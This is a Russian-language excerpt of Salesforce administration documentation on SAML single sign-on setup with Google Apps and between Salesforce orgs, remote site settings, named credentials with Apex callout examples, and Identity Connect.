Ниже перечислены рекомендации по включению поставщиков удостоверений и
определениюпоставщиковуслуг для Force.com Sites, клиентскихипартнерскихпорталов.

• При определении поставщика услуг: если поле «Тип темы» содержит значение
«Имя пользователя», то код организации Salesforce добавляется перед именем
пользователя в утверждении SAML. Например, пользователю jDeoint@WFC.com
соответствует тема 00DE0000000FFLT@jDeoint@WFC.com. Если поле «Тип
темы» содержит значение «Код интегрирования», то система использует точный
код интегрирования.
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• Атрибут is_portal_user, добавленный в утверждение SAML, созданное системой Salesforce, содержит значения.
Данный пример может быть предоставлен поставщику услуг.

<saml:Attribute Name="is_portal_user"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">

<saml:AttributeValue
xmlns:xs="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:type="xs:anyType">true

</saml:AttributeValue>
</saml:Attribute>

СМ. ТАКЖЕ:

Поставщики удостоверений и поставщики услуг

Использование журнала событий поставщика удостоверений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Developer Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для определения и
изменения поставщиков
удостоверений и
поставщиков услуг:
• «Настройка

приложения»

Журнал событийпоставщика удостоверенийрегистрируетошибкии успехи входящих
запросов на проверку подлинности SAML, отправленных другим поставщиком
приложений, а такжеисходящихответов SAML, еслисистемаSalesforceвыступаетвкачестве
поставщика удостоверений. Чтобы просмотреть журнал событий поставщика
удостоверений, введите строку «Журнал событий поставщика удостоверений» в поле
«Быстрый поиск» в меню «Настройка» и выберите пункт «Журнал событий
поставщика удостоверений». Журнал позволяет просматривать успехи, ошибки или
оба типа событий. Журнал позволяет просматривать последние 50 событий в
пользовательском интерфейсе. Чтобы просмотреть дополнительные события,
рекомендуем создать отчет.
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Примеры использования поставщиков удостоверений и поставщиков услуг

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Developer Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Database.com Edition.

Вкладки недоступны в
версии Database.com
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для определения и
изменения поставщиков
удостоверений и
поставщиков услуг:
• «Настройка

приложения»

Данный раздел содержит два примера по настройке системы Salesforce в качестве
поставщика удостоверений и настройке двух разных поставщиков услуг.

• Google Apps: описание входа, инициированного поставщиком услуг.

• Salesforce: описание входа, инициированного поставщиком удостоверений.

Пример настройки единой регистрации в Google Apps

ДанныйпримеропределяетпорядокнастройкиединойрегистрацииизсистемыSalesforce
в Google Apps, где Google является поставщиком услуг, а Google Apps — приложением,
предоставленным поставщиком услуг.

Требования:

• Наличие аккаунта Premier Edition Google Apps.

• Организация Salesforce должна поддерживать единую регистрацию посредством
SAML 2.0.

Ниже перечислены основные действия.

1. Создание имени домена и включение поставщика удостоверений в организации
Salesforce.

2. Определение поставщика услуг в системе Salesforce.

3. Включение пользователя и профиля Salesforce.

4. Настройка Google Apps.

5. Тестирование внедрения.

Создание имени домена и включение поставщика удостоверений

Чтобы подготовить организацию Salesforce, создайте имя домена и включите систему Salesforce в качестве поставщика
удостоверений.

1. Выполните вход в систему Salesforce.

2. Создайте имя домена для организации.

a. Введите строку «Мой домен» в поле «Быстрый поиск» в меню «Настройка», выберите пункт «Мой домен»,
введите новое имя субдомена и щелкните «Проверить доступность».

b. Если введенное имя доступно, установите флажок «Условия» и нажмите кнопку «Зарегистрировать домен».

Важное замечание: Прежде чем включить систему Salesforce в качестве поставщика удостоверений,
рекомендуем развернуть имя домена.

3. Чтобы включить систему Salesforce в качестве поставщика удостоверений, выполните указанные ниже действия.

a. Введите строку «Поставщик удостоверений» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт
«Поставщик удостоверений».

b. Щелкните «Включить».

c. Щелкните «Загрузитьсертификат». Запомнитеобласть сохранениясертификатадля егопоследующейзагрузки.
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Определение поставщика услуг

Чтобы определить поставщика услуг, выполните указанные ниже действия.

1. Выполните вход в систему Salesforce.

2. Введите строку «Приложения» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Приложения».

3. Нажмите кнопку «Создать» в разделе «Связанные приложения» и введите значение «Google Apps» в поле «Имя
связанного приложения».

4. Установите флажок «Включить SAML» в области «Параметры веб-приложения» и заполните указанные ниже поля.

ЗначениеПоле

URL-адрес для аккаунта Google Apps (например,
https://www.google.com/a/respond.info).

URL-адрес ACS

google.comКод объекта

Код интегрированияТип темы

5. Нажмите кнопку «Сохранить».

6. Для авторизации доступа к этому приложению введите строку «Связанные приложения» в поле «Быстрый поиск» в
меню «Настройка», выберите параметр управления связанными приложениями ищелкните по имени приложения.
Выберите профиль текущего пользователя.

7. Скопируйте значение поля «Конечная точка переадресации, инициированная поставщиком услуг». Данное
значение потребуется позже.

Соотнесение пользователя Salesforce с пользователем Google Apps

1. На странице личных параметров введите строку «Дополнительные сведения о пользователе» в поле «Быстрый поиск»,
затем выберите «Дополнительные сведения о пользователе». Нет результатов? Введите строку «Личные сведения»
в поле «Быстрый поиск» и выберите пункт «Личные сведения».

2. Нажмите кнопку «Правка».

3. Введите имя пользователя, используемое для входа в Google Apps (например, JSmith@TGroup.com), в поле «Код
интегрирования».

4. Нажмите кнопку «Сохранить».

Настройка Google Apps

1. Выполните вход в аккаунт Google Apps.

2. Откройте вкладку «Другие инструменты» ищелкните ссылку «Настроить единую регистрацию (SSO)».

3. Установите флажок «Включить единую регистрацию».

4. Введите URL-адрес, скопированныйвполе «Конечная точка переадресации, инициированная поставщиком услуг»
при определении поставщика услуг, в поле «URL-адрес страницы входа».

5. Введите URL-адрес страницы, открывающейся после выхода пользователей из Google Apps (например,
http://www.мойДомен.salesforce.com), в поле «URL-адрес страницы выхода».
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6. Введите следующий URL-адрес в поле «URL-адрес изменения пароля»:
https://мойДомен.salesforce.com/_ui/system/security/ChangePassword, где мойДомен — этоимя,
указанное при создании настраиваемого домена.

7. Выберите сертификат, загруженный при включении поставщика удостоверений, в поле «Сертификат проверки».

8. Нажмите кнопку «Сохранить изменения».

Тестирование внедрения

Чтобы разрешить организации Salesforce использование единой регистрации в Google Apps, выполните указанные ниже
действия.

1. Выполните выход из Google Apps и системы Salesforce.

2. Попробуйтеоткрытьстраницуприложения Google (например, http://docs.google.com/a/respond.info/
или http://mail.google.com/a/respond.info/).

3. Пользователь перенаправляется на страницу входа Salesforce. Указанная страница приложения Google открывается
после входа.

При необходимости добавьте приложение Google на веб-вкладку организации Salesforce.

1. Выполните вход в систему Salesforce.

2. Введите строку «Вкладки» в поле «Быстрый поиск» в меню «Настройка», выберите пункт «Вкладки» ищелкните
«Создать» в разделе «Веб-вкладки».

3. Выберите макет вкладки и нажмите кнопку «Далее».

4. Введите метку для отображения на вкладке.

5. Введите стандартное имя. Данное имя соответствует метке.

6. Чтобы открыть окно «Выбор стиля вкладки», щелкните значок поиска напротив поля «Стиль вкладки». Выберите
нужный значок. Оставьте другие параметры без изменений.

7. Нажмите кнопку «Далее».

8. Введите страницу приложения Google (например, docs.google.com/a/respond.info/ или
mail.google.com/a/respond.info/) в текстовое поле «URL-адрес кнопки или ссылки» и нажмите кнопку
«Далее».

Прим.: Данный URL-адрес должен быть абсолютным, то есть, содержать префикс http:// или https://.

9. Нажмите кнопки «Далее» и «Сохранить».

10. Откройтеновуювкладкувверхустраницы. Данноедействиеавтоматическиоткрываетуказаннуюстраницуприложения
Google.

Настройка единой регистрации из Salesforce в Salesforce

Данныйпримеропределяетпорядокнастройкиприложения Salesforceдляинициированияединойрегистрацииизодной
организации Salesforce в другой.

Инициирующаяорганизация Salesforce — этоорганизация, используемаядля входаи выступающаяв качестве поставщика
удостоверений. Организация Salesforce, вход в которую должен быть выполнен посредством приложения, выступает в
качестве поставщикауслуг. Например, компаниясоздает двеорганизации Salesforce: организацияпопродажамиорганизация
по идеям. Обе организации поддерживают единую регистрацию, позволяющую пользователям выполнять вход
посредством одного пароля.
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ДанныйпримериспользуетинициирующуюорганизациюSalesforce, поддерживающуюединуюрегистрациюпосредством
SAML 2.0. Ниже перечислены основные действия.

1. Создание имени домена и включение поставщика удостоверений в организации Salesforce, выступающей в качестве
поставщика удостоверений.

2. Настройка организации Salesforce, выступающей в качестве поставщика услуг.

3. Определение приложения поставщика услуг в организации Salesforce, выступающей в качестве поставщика
удостоверений.

4. Тестирование внедрения.

Создание имени домена и включение поставщика удостоверений

Все указанныенижедействия выполняются ворганизации Salesforce, выступающейвкачествепоставщика удостоверений.

Чтобы подготовить организацию Salesforce, создайте имя домена и включите систему Salesforce в качестве поставщика
удостоверений.

1. Выполните вход в систему Salesforce.

2. Создайте имя домена для организации.

a. Введите строку «Мой домен» в поле «Быстрый поиск» в меню «Настройка», выберите пункт «Мой домен»,
введите новое имя субдомена и щелкните «Проверить доступность».

b. Если введенное имя доступно, установите флажок «Условия» и нажмите кнопку «Зарегистрировать домен».

Важное замечание: Прежде чем включить систему Salesforce в качестве поставщика удостоверений,
рекомендуем развернуть имя домена.

3. Чтобы включить систему Salesforce в качестве поставщика удостоверений, выполните указанные ниже действия.

a. Введите строку «Поставщик удостоверений» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт
«Поставщик удостоверений».

b. Щелкните «Включить».

c. Щелкните «Загрузитьсертификат». Запомнитеобласть сохранениясертификатадля егопоследующейзагрузки.

Настройка организации Salesforce в качестве поставщика услуг

Чтобы настроить вторую организацию Salesforce в качестве поставщика услуг, выполните указанные ниже действия.

1. Выполните вход в организацию Salesforce, выступающую в качестве поставщика услуг.

2. Включите и настройте SAML.

a. Введите строку «Параметры единой регистрации» в поле «Быстрый поиск» в меню «Настройка», выберите пункт
«Параметры единой регистрации» и нажмите кнопку «Правка».

b. Установите флажок «SAML включен».

c. Заполните перечисленные ниже поля.

ЗначениеПоле

2.0Версия SAML
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ЗначениеПоле

URL-адрес отправителя, созданный при настройке
поставщика удостоверений. Например,
https://мойНастраиваемыйДомен.salesforce.com.

Отправитель

Найдите сертификат, загруженный при включении
поставщика удостоверений.

Сертификат поставщика удостоверений

Установите переключатель «Утверждение содержит
код интегрирования из объекта "Пользователь"».

Тип кода пользователя SAML

Установите переключатель «Код пользователя
находится в элементе NameIdentifier оператора
Subject».

Местоположение кода пользователя SAML

d. Нажмите кнопку «Сохранить».

e. Скопируйтеисохранитезначенияполей «URL-адрес входа Salesforce» и «Код объекта». Данныезначения
потребуются позже при определении поставщика услуг Salesforce.

3. Свяжитепользователяизорганизациипоставщика услуг спользователемизорганизациипоставщика удостоверений.

a. В личных параметрах введите строку «Дополнительные сведения о пользователе» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Дополнительные сведения о пользователе». Если ничего не изменилось:
Введите строку «Личные сведения» в поле «Быстрый поиск» и выберите пункт «Личные сведения».

b. Нажмите кнопку «Правка».

c. Введитеимяпользователя, используемоедля входа ворганизациюпоставщикаудостоверенийSalesforce (например,
IDP_org@TGroup.com), в поле «Код интегрирования».

d. Нажмите кнопку «Сохранить».

Определение поставщика услуг в организации поставщика удостоверений

Чтобы определить поставщика услуг, создайте веб-приложение SAML как связанное приложение.

1. Выполните вход в организацию Salesforce, выступающую в качестве поставщика удостоверений.

2. Введите строку «Приложения» в поле «Быстрый поиск» в меню «Настройка», выберите пункт «Приложения», а
затем в разделе «Связанные приложения» нажмите кнопку «Создать».

3. Заполните перечисленные ниже поля.

ЗначениеПоле

Поставщик услуг Salesforce.Имя связанного приложения

Контакт, который должен использоваться компанией
Salesforce для связи.

Адрес эл. почты контакта

Данный параметр позволяет вводить сведения о
поставщике услуг.

Включить SAML
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ЗначениеПоле

Кодобъекта, введенныйпринастройкепоставщика услугКод объекта

URL-адрес входа Salesforce, введенный при настройке
поставщика услуг

URL-адрес ACS

«Имя пользователя»Тип темы

4. Нажмите кнопку «Сохранить».

5. Выберите нужные профили. Выберите профиль текущего пользователя для данного примера.

6. Нажмите кнопку «Сохранить».

7. Скопируйте значениеполя «URL-адрес входа, инициированного поставщиком удостоверений». Данное значение
потребуется позже для тестирования.

Тестирование внедрения

Чтобы разрешить организации Salesforce использование единой регистрации для подключения, создайте веб-вкладку.

1. Выполните вход в организацию Salesforce, выступающую в качестве поставщика услуг.

2. Введите строку «Вкладки» в поле «Быстрый поиск» в меню «Настройка», выберите пункт «Вкладки» ищелкните
«Создать» в разделе «Веб-вкладки».

3. Выберите макет вкладки и нажмите кнопку «Далее».

4. Введите метку для отображения на вкладке.

5. Введите стандартное имя. Данное имя соответствует метке.

6. Чтобы открыть окно «Выбор стиля вкладки», щелкните значок поиска напротив поля «Стиль вкладки». Выберите
нужный значок.

7. Нажмите кнопку «Далее».

8. Введите значение поля «URL-адрес входа, инициированного поставщиком удостоверений», заданное при
определении поставщика услуг, в текстовое поле «URL-адрес кнопки или ссылки» и нажмите кнопку «Далее».

Прим.: Данный URL-адрес должен быть абсолютным, то есть, содержать префикс http:// или https://.

9. Нажмите кнопки «Далее» и «Сохранить».

10. Откройтеновуювкладку вверху страницы. Привыходеизорганизации Salesforce, выступающейвкачествепоставщика
удостоверений, пользователюпредлагается выполнитьвход, послекотороговкладкадолжнаотображатьорганизацию
Salesforce, выступающую в качестве поставщика удостоверений.

СМ. ТАКЖЕ:

Поставщики удостоверений и поставщики услуг

Индивидуальная настройка системы Salesforce
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Настройка параметров удаленного доступа

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Visualforce и элементы
S-Сontrol недоступны в
версии Database.com
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки параметров
удаленного доступа:
• «Изменение всех

данных»

Прежде чем разрешить любой странице Visualforce, выноске Apex или коду JavaScript с
использованием XmlHttpRequest в элементе S-Control илинастраиваемойкнопке вызывать
внешний сайт, данный сайт должен быть зарегистрирован на странице «Параметры
удаленного узла».

Чтобы перейти на страницу, введите строку «Параметры удаленного узла» в поле
«Быстрый поиск» в меню «Настройка» и выберите пункт «Параметры удаленного
узла». Данная страница содержит список всех зарегистрированных удаленных узлов и
дополнительную информацию о каждом узле, включая имя и URL-адрес удаленного
узла.

Из соображений безопасности, система Salesforce ограничивает доступные исходящие
порты.

• 80: данный порт принимает только подключения HTTP.

• 443: данный порт принимает только подключения HTTPS.

• 1024–66535 (включительно): данныепортыпринимаютподключения HTTP или HTTPS.

Чтобы зарегистрировать новый сайт, выполните указанные ниже действия.

1. Нажмите кнопку «Создать удаленный узел».

2. Введите описательное имя в поле «Имя удаленного узла».

3. Введите URL-адрес удаленного узла.

4. Чтобыразрешитьдоступкудаленномуузлунезависимоотпротокола, используемого
для подключения (HTTP или HTTPS), установите флажок «Отключить безопасность
по протоколам». Если данныйфлажок установлен, то система Salesforce может
передавать данныемежду сеансами HTTPS и HTTP. Рекомендуемустанавливатьданный
флажок толькоопытнымпользователям, разбирающимся в вопросахбезопасности.

5. При необходимости введите описание сайта.

6. Чтобы завершить работу, нажмите кнопку «Сохранить». Чтобы сохранить изменения и зарегистрировать
дополнительный сайт, нажмите кнопку «Сохранить и создать».

Именованные регистрационные данные

Именованные регистрационные данные

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях: все
версии.

Именованныерегистрационныеданныеодновременноопределяют URL-адресконечной
точки выноски и ее обязательные параметры проверки подлинности.Чтобы упростить
настройку проверенных выносок, укажите именованные регистрационные данные как
конечную точку выноски. При необходимости укажите URL-адрес как конечную точку
выноскиизарегистрируйтеданный URL-адресна странице «Параметрыудаленногоузла».
В данном случае процесс проверки подлинности обрабатывается прямо в коде для
выноски Apex. Данный алгоритм может быть менее безопасным и более сложным для
проверки подлинности OAuth.

Система Salesforce управляет всеми процессами проверки подлинности для выносок,
которыеуказываютименованныерегистрационныеданныекакконечнуюточкувыноски.Принеобходимостипропустите
параметры удаленного узла, которые иначе являются обязательными для выносок на внешние сайты.
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Именованные регистрационные данные поддерживаются в следующих типах определений выносок.

• Выноски Apex

• Внешние источники данных следующих типов:

– Lightning Connect: OData 2.0;

– Lightning Connect: OData 4.0;

– Lightning Connect: Настраиваемый (разработанный с помощью инфраструктуры коннекторов Apex)

Благодаря раздельному использованию URL-адреса конечной точки и процесса проверки подлинности от определения
выноски именованные регистрационные данные позволяют упростить процесс обслуживания выносок. Например, при
изменении URL-адреса конечной точкипросто обновите именованные регистрационные данные. При этом все выноски,
ссылающиеся на именованные регистрационные данные, будут работать.

При наличии нескольких организаций рекомендуем создать именованные регистрационные данные с тем же именем,
но с другим URL-адресом конечной точки в каждой организации. Затем можно распаковать и развернуть (во всех
организациях) одно определение выноски, ссылающееся на общее имя этих именованных регистрационных данных.
Например, именованные регистрационные данные всех организаций могут использовать разные URL-адреса конечной
точки для устранения несоответствия между средой разработки и производственной средой. Если в выноске Apex
используетсяобщееимятакихименованныхрегистрационныхданных, классApex, определяющийданныйвызов, можно
добавить в пакет и развернуть во всех таких организациях без программной проверки среды.

Именованные регистрационные данные поддерживают обычную проверку подлинности паролей и OAuth 2.0. При
необходимостиразрешитекаждымименованнымрегистрационнымданнымиспользованиеединогоназванногосубъекта
или проверки подлинности отдельного пользователя для предоставления пользователям возможности управления
собственными регистрационными данными.

Дляобращениякименованнымрегистрационнымданнымизопределениявыноскииспользуйте URL-адресименованных
регистрационных данных. URL-адрес именованных регистрационных данных формируется по схеме: callout:, имя
именованныхрегистрационныхданныхидополнительныйпуть. Например: callout:My_Named_Credential/some_path.

Пример: В примере кода Apex нижеименованные регистрационные данные и добавленный путь определяют
конечную точку выноски.

HttpRequest req = new HttpRequest();
req.setEndpoint('callout:My_Named_Credential/some_path');
req.setMethod('GET');
Http http = new Http();
HTTPResponse res = http.send(req);
System.debug(res.getBody());

Упоминаемыеименованныерегистрационныеданныеопределяют URL-адресконечнойточкиипараметрыпроверки
подлинности.
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Система позволяет кодировать конечную точку выноски как URL-адрес; затем данный код обрабатывает процесс
проверки подлинности. В нашем примере используется обычная проверка подлинности паролей. Обратите
внимание, что проверка подлинности OAuth является более сложной и рекомендуется для именованных
регистрационных данных.

HttpRequest req = new HttpRequest();
req.setEndpoint('https://my_endpoint.example.com/some_path');
req.setMethod('GET');

// Because we didn't set the endpoint as a named credential,
// our code has to specify:
// - The required username and password to access the endpoint
// - The header and header information

String username = 'myname';
String password = 'mypwd';

Blob headerValue = Blob.valueOf(username + ':' + password);
String authorizationHeader = 'BASIC ' +
EncodingUtil.base64Encode(headerValue);
req.setHeader('Authorization', authorizationHeader);

// Create a new http object to send the request object
// A response object is generated as a result of the request

Http http = new Http();
HTTPResponse res = http.send(req);
System.debug(res.getBody());

СМ. ТАКЖЕ:

Определение именованных регистрационных данных

Предоставление доступа к параметрам проверки подлинности для именованных регистрационных данных

Руководство разработчика Apex: вызов выносок посредством Apex
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Определение именованных регистрационных данных

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра, создания,
редактирования или
удаления именованных
регистрационных данных:
• «Изменение всех

данных»

Создайте именованные регистрационные данные для одновременного определения
URL-адреса конечной точки выноски и ее обязательных параметров проверки
подлинности. Чтобы разрешить системе Salesforce обработку всех процессов проверки
подлинности, укажите именованные регистрационные данные как конечную точку
выноски. При необходимости пропустите параметры удаленного узла, которые иначе
являются обязательными для выносок на внешние сайты.

Именованные регистрационные данные поддерживаются в следующих типах
определений выносок.

• Выноски Apex

• Внешние источники данных следующих типов:

– Lightning Connect: OData 2.0

– Lightning Connect: OData 4.0

– Lightning Connect: Настраиваемый (разработанный с помощью инфраструктуры
коннекторов Apex)

Для настройки именованных регистрационных данных сделайте следующее.

1. Вменю «Настройка» введите «Именованные регистрационные данные» вполе «Быстрый
поиск», затем выберите «Именованные регистрационные данные».

2. Чтобысоздатьименованныерегистрационныеданные, нажмитекнопку «Создатьименованныерегистрационные
данные». Чтобы изменить текущие именованные регистрационные данные, щелкните ссылку «Правка».

3. Заполните поля.

ОписаниеПоле

Понятное имя именованных регистрационных данных, отображаемое в
пользовательском интерфейсе Salesforce (например, в списковых представлениях).

Приназначениипараметру «Тип удостоверения» значения «Напользователя»данная
метка отображается при просмотре или редактировании параметров проверки
подлинности для внешних систем.

Метка

Уникальный идентификатор, используемый для обращения к именованным
регистрационным данным из определений выносок через API-интерфейс.

Имя может содержать только буквы, цифры и символы подчеркивания. Имя должно
быть уникальным и начинаться с буквы; не может содержать пробелов и двух

Имя

последовательныхсимволовподчеркивания, а такженеможет заканчиваться символом
подчеркивания.

1089

Безопасность подключенияНастройка и обслуживание организации Salesforce



ОписаниеПоле

URL-адрес или корневой URL-адрес для конечной точки выноски. URL-адрес должен
начинаться с протокола http:// или https://.

При необходимости укажите конкретный путь при обращении к именованным
регистрационным данным из определения выноски. Например, выноска Apex может
обращаться к именованным регистрационным данным следующим образом.

HttpRequest req = new HttpRequest();
req.setEndpoint('callout:My_Named_Credential/some_path');

URL-адрес

Выбранный сертификат используется организацией Salesforce при каждом
двухстороннем подключении SSL к внешней системе. Сертификат используется

Сертификат

цифровыми подписями, подтверждающими получение запросов от нужной
организации Salesforce.

Данный параметр определяет необходимость использования одного или нескольких
наборов регистрационных данных для доступа к внешней системе.

Тип удостоверения

• «Анонимно»: удостоверение отсутствует, проверка подлинности не выполняется.

• «Напользователя»: использованиеотдельныхрегистрационныхданныхдлякаждого
пользователя, просматривающего внешнюю систему посредством выносок.
Выберите данное значение, если внешняя система ограничивает доступ для
отдельного пользователя.

После предоставления доступа посредствомнаборов полномочийилипрофилей
в системе Salesforce пользователи могут управлять собственными параметрами
проверки подлинности для внешних систем на странице личных параметров.

• «Названныйсубъект»: использованиеодногонаборарегистрационныхданныхдля
всех пользователей, просматривающих внешнюю систему из организации.
Выберите этот параметр, если назначается одна учетная запись пользователя во
внешней системе для всех пользователей организации Salesforce.

4. Выберите нужный протокол проверки подлинности.

• При выборе значения «Проверка подлинности паролей» введите имя пользователя и пароль для доступа ко
внешней системе.

• При выборе значения «OAuth 2.0» заполните поля ниже.

ОписаниеПоле

Выберитепоставщика. См. разделОбщиесведенияовнешнихпоставщикахпроверки
подлинности на странице 1016.

Поставщик проверки
подлинности
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ОписаниеПоле

Выберитеобластьполномочийдляотправкизапросанамаркердоступа.Допустимые
значения определяются поставщиком проверки подлинности. См. раздел
Использование параметра Scope на странице 1051.

Область

Прим.:

– Введенное значение заменяет значение поля «Стандартные области»,
заданное в указанном поставщике проверки подлинности.

– Необходимость определения областей может влиять на необходимость
отображения страницы согласия каждым процессом OAuth.

– Рекомендуем пользователям запрашивать маркер обновления или
автономный доступ. В противном случае при истечении срока действия
маркера доступ к внешней системе отменяется.

Чтобы выполнить проверку подлинности на внешней системе и получить маркер
OAuth, отметьте флажком этот пункт. Данный процесс проверки подлинности
называется процессом OAuth.

При нажатии кнопки «Сохранить» внешняя система отображает запрос на
выполнение входа. После успешного входа внешняя система предоставляет
пользователю маркер OAuth для доступа к данным из текущей организации.

Начать процесс проверки
подлинности при
сохранении

Повторите процесс OAuth для создания маркера (например, при истечении срока
действиямаркера) илиредактированияполя «Область» или «Поставщик проверки
подлинности».

5. Чтобы использовать настраиваемые заголовки или основные тексты в выносках, включите нужные параметры.

ОписаниеПоле

По умолчанию Salesforce генерирует заголовок авторизации и
применяет его к каждой выноске, которая ссылается на
именнованные регистрационные данные.

Отключите этот параметр при наличии одного из следующих
условий.

Generate Authorization Header

• Удаленная конечная точка не поддерживает заголовки
авторизации.

• Заголовкиавторизациипредоставляютсядругимисредствами.
Например, в выноскахApexразработчикможетпредусмотреть
код создания настраиваемого заголовка авторизации для
каждой выноски.

Этотпараметрявляетсяобязательнымприссылкенаименнованные
регистрационные данные из внешнего источника данных.
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ОписаниеПоле

В каждой выноске Apex код устанавливает способ создания
HTTP-заголовка и текста запроса. Например, код Apex может
установить значение файла cookie в заголовке авторизации.

Эти параметры включают код Apex, чтобы использовать поля
слияниядля заполнения HTTP-заголовкаи текста запроса данными
организации после создания выноски.

Allow Merge Fields in HTTP Header

Allow Merge Fields in HTTP Header

Эти параметры будут недоступны при ссылке на именнованные
регистрационные данные из внешнего источника данных.

Дляобращениякименованнымрегистрационнымданнымизопределениявыноскииспользуйте URL-адресименованных
регистрационных данных. URL-адрес именованных регистрационных данных формируется по схеме: callout:, имя
именованныхрегистрационныхданныхидополнительныйпуть. Например: callout:My_Named_Credential/some_path.

СМ. ТАКЖЕ:

Именованные регистрационные данные

Предоставление доступа к параметрам проверки подлинности для именованных регистрационных данных

Руководство разработчика Apex: вызов выносок посредством Apex

Предоставление доступа к параметрам проверки подлинности для именованных регистрационных
данных

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для редактирования
наборов полномочий и
профилей пользователей:
• «Управление

профилями и наборами
полномочий»

Предоставьте пользователям доступ к именованным регистрационным данным,
использующимпроверкуподлинностиотдельногопользователя, посредствомнаборов
полномочий и профилей. Данное действие позволяет пользователям настраивать и
управлять собственными параметрами проверки подлинности для доступа к внешней
системе.

1. Введите строку «Наборы полномочий» вполе «Быстрый поиск» вменю «Настройка»
и выберите пункт «Наборы полномочий» или «Профили».

2. Щелкните имя нужного набора полномочий или профиля.

3. Выполните одно из указанных ниже действий.

• Привыборенабораполномочийилипрофиляврасширенномпользовательском
интерфейсе профиля щелкните ссылку «Доступ к именованным
регистрационным данным» в разделе «Приложения». Затем нажмите кнопку
«Правка».

• При выборе профиля в исходном пользовательском интерфейсе профиля
нажмите кнопку «Правка» в разделе «Доступ к именованнымрегистрационным
данным включен».

4. Добавьте нужные именованные регистрационные данные.
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5. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Хранение параметров проверки подлинности для внешних систем

Определение именованных регистрационных данных

Именованные регистрационные данные

Identity Connect

Общие сведения об Identity Connect

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition. Версия
Developer Edition
поддерживает 10 лицензий
набора полномочий Identity
Connect.

Identity Connect поддерживает интеграцию Active Directory.

Identity Connect поддерживает интеграцию Active Directory с системой Salesforce
посредствомслужбы, выполняемойнаплатформе Windows или Linux. Даннаяинтеграция
поддерживает синхронизацию пользователей Active Directory, где Salesforce или Identity
Connect используетсявкачествепоставщикаудостоверенийдляинтеграции Active Directory
посредством единой регистрации при выполнении входа в систему Salesforce.

СМ. ТАКЖЕ:

http://resources.docs.salesforce.com/rel1/doc/en-us/static/pdf/identity_connect_impl_guide.pdf

Установка Identity Connect

Включение Identity Connect
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Установка Identity Connect

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition. Версия
Developer Edition
поддерживает 10 лицензий
набора полномочий Identity
Connect.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для установки Identity
Connect:
• «Управление

пользователями»

Организациядолжнарасполагать какминимумоднойлицензией Identity Connect. Чтобы
получить Identity Connect, обратитесь в компанию Salesforce.

Как правило, программное обеспечение Identity Connect устанавливается на сервере
сотрудниками отдела информационных технологий. Identity Connect не требует
индивидуальной установки для каждого пользователя.

1. Введите строку «Identity Connect» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Identity Connect».

Прим.: Пункт «Identity Connect» отображается в меню «Настройка» только
после добавления данной функции компанией Salesforce в организацию
пользователя.

2. Щелкните ссылку для загрузки, соответствующую используемой операционной
системе.

3. Установите программное обеспечение (см. Руководство по внедрению Salesforce
Identity Connect).

СМ. ТАКЖЕ:

Общие сведения об Identity Connect

Включение Identity Connect
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Включение Identity Connect

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition. Версия
Developer Edition
поддерживает 10 лицензий
набора полномочий Identity
Connect.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для назначения лицензии
набора полномочий:
• «Управление

внутренними
пользователями»

Для создания и назначения
наборов полномочий:
• «Управление

профилями и наборами
полномочий»

Для просмотра
пользователей, назначенных
набору полномочий:
• «Просмотр настройки и

конфигурации»

Чтобы получить Identity Connect, обратитесь в компанию Salesforce.

Чтобывключить Identity Connect дляпользователя, выполните указанныенижедействия.

1. Назначьте пользователю лицензию Identity Connect.

2. Создайтенаборполномочийидополнитеегополномочием «Использование Identity
Connect».

3. Назначьте набор полномочий пользователю.

Просмотретьобзор: создание, редактированиеиназначениенабораполномочий

СМ. ТАКЖЕ:

http://resources.docs.salesforce.com/rel1/doc/en-us/static/pdf/identity_connect_impl_guide.pdf

Общие сведения об Identity Connect

Установка Identity Connect

1095

Безопасность подключенияНастройка и обслуживание организации Salesforce

https://login.salesforce.com/services/walkthrough?path=%2F0PS%3Fsetupid%3DPermSets&tour=create-a-permission-set%2Cedit-a-permission-set%2Cassign-a-permission-set
http://resources.docs.salesforce.com/rel1/doc/en-us/static/pdf/identity_connect_impl_guide.pdf


Отслеживание организации

Знакомство со страницей общих сведений о системе

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме Personal
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для доступа к странице
общих сведений о системе:
• «Настройка

